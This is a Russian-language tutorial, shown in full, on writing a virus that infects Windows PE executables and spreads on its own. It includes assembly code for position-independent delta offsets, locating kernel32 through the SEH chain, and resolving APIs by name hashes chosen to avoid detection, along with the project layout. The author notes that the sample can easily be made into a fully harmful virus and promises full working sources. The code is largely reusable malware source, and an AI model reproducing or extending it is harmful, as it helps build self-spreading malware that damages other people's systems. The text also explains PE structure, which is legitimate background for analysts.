Содержание статьи
Введение
Вирусы стали неотъемлемой частью нашей компьютерной (и не только) жизни. На написание данной статьи меня подтолкнуло то, что, на мой взгляд, в Сети маловато информации, наиболее полно раскрывающей весь процесс написания вируса. Совсем недавно мне необходимо было написать простую самораспространяющуюсю программу, которая не производила бы каких-либо вредных для системы действий, но в то же время использовала бы вирусные механизмы распространения. Скажу, что все-таки в Интернете есть информация на эту тему. И даже встречаются исходники подобных программ. Но во всем приходится долго и упорно разбираться, если хочешь сделать что-то сам. Итак, в чем-то более-менее разобравшись, я хочу поделиться с вами - читателями - информацией.
В данной статье будет рассмотрен процесс написания простого вируса, заражающего исполняемые файлы формата PE (Portable Executable) EXE. Также напишем программу-доктора, которая ищет в указанной директории и во всех поддиректориях файлы, зараженные нашим вирусом.
Данная самораспространяющаяся программа не содержит в себе никакого вредоносного кода, но ее с легкостью можно дописать до вполне боевого вируса. Поэтому хочу заметить, что
ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний.
Если вы с этим не согласны, то, пожалуйста, прекратите чтение этой статьи и удалите ее со всех имеющихся у вас носителей информации.
Кратко о формате PE
Поскольку наш вирус будет заражать именно PE-файлы, мы, естественно, должны иметь представление об этом формате. Это формат исполняемых в операционной системе Windows файлов. Кстати, раз уж мы заговорили об ОС, то заметим, что наш вирус должен нормально исполняться на как можно большем числе ОС данного семейства. Программа тестировалась на работоспособность в Win
9x\Me\NT\2000\XP\2K3.
Итак, если заглянуть внутрь типичного исполняемого файла, мы увидим следующую структуру в упрощенном виде:
PE-файл в самом своем начале (MZ-заголовок) содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2, она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS (PE-заголовок). Эта структура описывается следующим образом:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}
Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение "PE\0\0". Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. После опционального заголовка начинается таблица секций (Object Table). В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не изменится (если там не присутствует проверка контрольной суммы или что-то подобное).
Способы заражения PE
До сих пор мы ничего не сказали о том, каким способом будем заражать файл, ведь их несколько:
- Внедрение в PE-заголовок
- Расширение последней секции
- Добавление новой секции
Для нашего учебного вируса подойдет наиболее простой метод расширения последней секции. Сразу скажу, что большими недостатками последних двух методов является то, что размер файла-жертвы заметно увеличивается при заражении, т.к. мы дописываем код вируса в конец файла. Хотя оговорюсь, что при втором методе возможно извратиться так, чтобы можно было записываться в пустой оверлей в конце последней секции, поэтому размер файла может измениться незначительно, либо не измениться вообще. При первом же методе размер файла не изменяется, но недостаток такого метода - не всегда можно найти такой EXE, чтобы в его заголовке хватило места для кода нашего вируса. Приходится либо заражать очень малое количество программ, либо сильно ограничивать возможности нашего вируса, т.к. это уменьшает размер его кода. Метод добавления новой секции немного сложнее, поэтому его рассматривать не будем. Скажу только, что файл с какой-нибудь новой секцией будет выглядеть более подозрительно.
Нам для написания нашего вируса достаточно знать, что при заражении файла мы должны
изменить некоторые значения (какие - прочитаем ниже) в PE-заголовке, изменить дескриптор последней секции, добавить код нашего вируса в конец последней секции, а также изменить точку входа программы так, чтобы управление при ее запуске передавалось сначала нашему вирусу, а уж затем - самой программе. На следующем рисунке красным цветом отмечены те части файла, которые будут изменены при заражении:
Вычисляем дельта-смещение
Итак, мы приняли решение дописываться в конец исполняемого файла. Прежде, чем приводить код, отмечу, что для начала нам нужно найти адреса необходимых API-функций. Разберемся сейчас с наиболее важными понятиями: Virtual Address (VA) и Relative Virtual Address
(RVA).
VA - это адрес чего-нибудь в оперативной памяти. RVA - это смещение на что-то относительно того места, куда проецирован файл. А если просто сказать, то VA = RVA + база.
Чтобы наш вирус работал, он должен быть написан в базонезависимом коде. В связи с этим появляется еще одно понятие - дельта-смещение.
Что это такое? Все очень просто. Когда вирус находится в чистом виде (так называемое первое поколение), т.е. не записан еще ни в какой файл, когда он работает, он обращается к переменным как есть относительно прописанного в его заголовке адреса, куда файл проецирован системой. Теперь представим, что наш вирус заразил программу. И там начинает работать. Но теперь он работает не там, куда его загрузил загрузчик, а из того места, где находится загруженная зараженная программа. Получается, что переменные теперь указывают на абсолютно другое место. Поэтому обратившись к своим данным по заданным адресам, вирус прочитает совсем не те данные, которые ему необходимы. Для того, чтобы решить эту проблему, вычисляется
дельта-смещение. Это смещение относительно начала вируса, а не той программы, которая была им заражена.
сall VirDelta
VirDelta:
sub dword ptr [esp], OFFSET VirDelta
push dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке
Как видим, при входе в вирусный код мы вызываем call. Но call после вызова помещает в стек адрес возврата. Вычитаем из него адрес метки VirDelta и получаем нужное нам смещение относительно начала файла. Далее сохраняем дельта-смещение для дальнейшего использования (прибавляя его к адресам переменных, последние принимают корректные значения).
Ищем адреса API-функций
Следующая проблема состоит в поиске этих самых адресов. Но для начала нужно найти адрес библиотеки kernel32.dll в памяти, т.к. самые необходимые функции находятся именно в ней. Если нам потребуется использовать функции из других библиотек, мы просто используем LoadLibrary и GetProcAddress, которые находятся в kernel32.dll.
Существует множество методов поиска базы kernel32, один из которых - использование механизма структурной обработки исключений SEH (Structured Exception
Handling).
SEH представляет собой цепочку обработчиков - ячейки памяти, в которых содержатся адреса на процедуры обработки исключений. Эта цепочка начинается с fs:0000 и заканчивается последним обработчиком, который содержит значение 0FFFFFFFFh. Ну и что это нам дает? А то, что адрес последнего обработчика - это и есть адрес kernel32.dll в памяти.
Итак, дельта-смещение мы определили. Приведем теперь код поиска базы kernel32:
; Читаем SEH
ReadSEH:
xor edx, edx ; edx = 0
assume fs:flat
mov eax, fs:[edx] ; читаем элемент SEH
dec edx ; edx = 0FFFFFFFFh
; Ищем элемент со значением 0FFFFFFFFh
SearchKernel32:
cmp [eax], edx ; сравниваем очередной с 0FFFFFFFFh
je CheckKernel32 ; прыгаем, если нашли
mov eax, [eax] ; получаем следующее значение
jmp SearchKernel32 ; если не нашли - ищем дальше
; Определяем адрес Kernel32
CheckKernel32:
mov eax, [eax + 4] ; получаем адрес ГДЕ-ТО в
; kernel32.dll
xor ax, ax ; выравниваем полученный адрес
; Ищем сигнатуру MZ
SearchKernelMZ:
cmp word ptr [eax], 5A4Dh ; сверяем сигнатуру MZ
je CheckKernelMZ ; сигнатура верна, переходим на
; проверку сигнатуры PE
sub eax, 10000h ; если не равна MZ, то ищем дальше
jmp SearchKernelMZ
; Проверяем сигнатуру PE
CheckKernelMZ:
mov edx, [eax + 3Ch] ; переходим на PE-заголовок
cmp word ptr [eax + edx], 4550h ; сверяем сигнатуру
jne _Exit ; неверная сигнатура, поэтому
; выходим
Здесь мы сканируем память (с того адреса, который мы только что получили) на наличие сигнатуры MZ (4D5Ah). Если она присутствует, значит, все сделано верно. Далее по смещению 3Ch находится смещение начала PE-заголовка. Сравниваем значение 2х байтов по этому смещению на сигнатуру PE (5045h) (на случай, если мы чисто случайно попали на ту область памяти, где нам встретились символы MZ). Если значение этих байт равно PE, то kernel32.dll несомненно найдена.
Теперь рассмотрим некоторые поля PE-заголовка, необходимые нам:
Чтобы найти адрес необходимой нам API-функции в kernel32, нам нужно добраться до секции экспорта этой библиотеки. По смещению 78h от начала PE-заголовка находится RVA адрес этой секции. Но не забудем, что нам нужен не RVA, а VA. Для этого нужно сложить этот RVA со значением Image Base (адрес в области памяти, куда файл проецирован системой). Тогда мы получим реальный адрес секции экспорта.
Наверняка при просмотре таблицы может возникнуть вопрос: а что это за поле Win32VersionValue? Это поле загрузчиком не используется вообще, поэтому мы можем считать его резервным и записывать какую-то информацию. В дальнейшем будем использовать данное резервное поле для записи сигнатуры нашего вируса, чтобы не заражать уже зараженные нашим вирусом программы.
Теперь нам нужно получить адрес таблицы экспорта из секции экспорта. Рассмотрим некоторые интересные нам поля секции экспорта:
Первое поле содержит базу ординалов функций. Второе поле содержит число указателей на имена. Третье поле содержит RVA таблицы экспорта. Эта таблица содержит адреса экспортируемых функций (их точки входа) или данных в формате DWORD RVA (по 4 байта на элемент). Четвертое поле - RVA таблицы указателей на имена. Последнее поле - RVA на таблицу ординалов. Для доступа к данным используется ординал функции с коррекцией на базу ординалов (Ordinal
Base).
Итак, теперь мы знаем адрес таблицы имен и адрес таблицы адресов всех функций библиотеки kernel32.dll. Чтобы найти адрес конкретной функции, мы должны сравнить ее имя с каждым именем в таблице имен экспортируемых функций, и если очередное сравниваемое имя совпало с искомым, мы смотрим в таблицу ординалов по соответствующему индексу и извлекаем таким образом адрес функции. Далее нам этот адрес остается где-то сохранить (в нашем случае – в стеке) для дальнейшего использования и перейти к поиску адреса другой нужной нам функции и так далее.
Чтобы не хранить в коде вируса имена функций (ведь они бывают иногда длинные), нам достаточно хранить 4-байтовые хеш-значения имен. Заодно и при просмотре тела вируса в HEX-редакторе не бросаются в глаза имена функций, содержащиеся в коде вируса:
; Таблица хешей HashTable: dd 0F867A91Eh ; CloseHandle dd 03165E506h ; FindFirstFileA dd 0CA920AD8h ; FindNextFileA dd 0860B38BCh ; CreateFileA dd 029C4EF46h ; ReadFile dd 0CC17506Ch ; GlobalAlloc dd 0AAC2523Eh ; GetFileSize dd 07F3545C6h ; SetFilePointer dd 0F67B91BAh ; WriteFile dd 03FE8FED4h ; GlobalFree dd 015F8EF80h ; VirtualProtect dd 0D66358ECh ; ExitProcess dd 05D7574B6h ; GetProcAddress dd 071E40722h ; LoadLibraryA dd 0E65B28ACh ; FindClose dd 059B44650h ; GetModuleFileNameA dd 00709DC94h ; SetCurrentDirectoryA dd 0D64B001Eh ; FreeLibrary dw 0FFFFh ; Признак конца таблицы
А при поиске нужной нам функции мы будем сравнивать не имена, а хеш-значения имен (подсчитав предварительно это значение для каждой нужной нам функции). Т.е., допустим, что мы нашли какое-то имя в таблице имен kernel32. Вычисляем хеш-значение этого имени и сравниваем это значение с искомым из нашей таблицы хешей HashTable. Если совпадают – значит, нашли. Если нет – ищем
дальше:
_SearchAPI:
mov esi, [eax + edx + 78h]
add esi, eax
add esi, 18h
xchg eax, ebx
lodsd ; получаем число указателей на имена
push eax ; [ebp+4*4]
lodsd ; получаем RVA таблицы экспорта
push eax ; [ebp+4*3]
lodsd ; получаем RVA таблицы указателей на
; имена
push eax ; [ebp+4*2]
add eax, ebx
push eax ; Указатель на таблицу имен
; [ebp+4*1]
lodsd ; получим RVA на таблицу ординалов
push eax ; [ebp]
mov edi, [esp+4*5] ; edi = дельта_смещение
lea edi, [edi+HashTable] ; edi указывает на начало HashTable
mov ebp, esp ; сохраняем базу стека
_BeginSearch:
mov ecx, [ebp+4*4] ; число имен функций
xor edx, edx ; здесь хранится порядковый номер
; функции (от 0)
_SearchAPIName:
mov esi, [ebp+4*1]
mov esi, [esi]
add esi, ebx ; адрес ASСII-имени очередной API-
; функции
; подсчет хэш-значения от имени функции
_GetHash:
xor eax, eax
push eax
_CalcHash:
ror eax, 7
xor [esp],eax
lodsb
test al, al
jnz _CalcHash
pop eax
; хэш подсчитан
OkHash:
cmp eax, [edi] ; сверяем полученный hash с тем что в
; таблице HashTable
je _OkAPI ; переходим на вычисление адреса функции
add dword ptr [ebp+4*1], 4 ; сдвигаемся к другому элементу таблицы
; экспорта
inc edx
loop _SearchAPIName
jmp _Exit
; вычисляем адрес функции
_OkAPI:
shl edx, 1 ; номер функции
mov ecx, [ebp] ; берем указатель на таблицу ординалов
add ecx, ebx
add ecx, edx
mov ecx, [ecx]
and ecx, 0FFFFh
mov edx, [ebp+4*3] ; извлекаем RVA таблицы экспорта
add edx, ebx
shl ecx, 2
add edx, ecx
mov edx, [edx]
add edx, ebx
push edx ; сохраняем адрес найденной функции в
; стеке
cmp word ptr [edi+4], 0FFFFh ; Конец списка?
je _Call_API
add edi, 4 ; следующее hash-значение функции
_NextName:
mov ecx, [ebp+4*2] ; восстанавливаем начало таблицы экспорта
add ecx, ebx
mov [ebp+4*1], ecx ; Index в таблице имен
jmp short _BeginSearch
Но как нам вычислить заранее хеш-значение определенного имени? Для этого я написал небольшую программку на Visual C++ с ассемблерной вставкой, ссылку на которую можно найти в конце статьи (с исходником).
После выполнения приведенного кода адреса всех функций будут находиться в стеке:
CloseHandle equ dword ptr [ebp-4*1] FindFirstFileA equ dword ptr [ebp-4*2] FindNextFileA equ dword ptr [ebp-4*3] CreateFileA equ dword ptr [ebp-4*4] ReadFile equ dword ptr [ebp-4*5] GlobalAlloc equ dword ptr [ebp-4*6] GetFileSize equ dword ptr [ebp-4*7] SetFilePointer equ dword ptr [ebp-4*8] WriteFile equ dword ptr [ebp-4*9] GlobalFree equ dword ptr [ebp-4*10] VirtualProtect equ dword ptr [ebp-4*11] _ExitProcess equ dword ptr [ebp-4*12] GetProcAddress equ dword ptr [ebp-4*13] LoadLibrary equ dword ptr [ebp-4*14] FindClose equ dword ptr [ebp-4*15] GetModuleFileNameA equ dword ptr [ebp-4*16] SetCurrentDirectoryA equ dword ptr [ebp-4*17] FreeLibrary equ dword ptr [ebp-4*18]
Общая структура вирусного кода
Все вышесказанное было лишь прелюдией в процессе написания нашего вируса. Теперь начнется самое интересное. Будем писать вирус на MASM. Почему я отдаю предпочтение этому пакету? Просто он мне нравится.
Напишем общий файл main.asm, который будет включать отдельные части кода:
.386
.model flat, stdcall
option casemap:none
pushz macro szText:VARARG
local nexti
call nexti
db szText, 0
nexti:
endm
includelib lib\kernel32.lib
ExitProcess PROTO :DWORD
.data
db 0
.code
invoke ExitProcess, 0
start:
; Стартовый код и код по поиску адресов функций
include inc\start_code.inc
; Вирусный код
include inc\virus_code.inc
; Данные
include inc\data.inc
end start
В файле start_code.inc содержится весь приведенный ранее код по определению дельта-смещения, поиску базы kernel и адресов функций. Содержимое остальных файлов будет ясно из дальнейшего изложения. Но в любом случае в конце статьи есть ссылки с полностью рабочими примерами и исходниками.
Смотря на этот код, можно задать как минимум два вопроса:
- зачем нам макрос szText?
- зачем подключать библиотеку kernel32.lib и вызывать функцию ExitProcess перед начальной меткой?
Хитрый макрос позволяет нам не хранить текст в переменной, а сразу заталкивать его адрес в стек перед вызовом какой-либо функции, имеющей одним из своих параметров текстовую строку. Например, в функцию
LoadLibrary:
pushz “user32.dll” call LoadLibrary
Что же касается вызова функции ExitProcess, то здесь проблема кроется в системах старше Windows XP (Win9x\Me\NT\2000). При попытке запустить код без такого вызова программа попросту не запускалась в перечисленых системах. Причем молча. Скорее всего, это связано с тем, что в данных системах загрузчик не хочет загружать программы без секций импорта. Не будем отвлекаться от нашей темы, поскольку исследование данного вопроса выходит за рамки этой статьи.
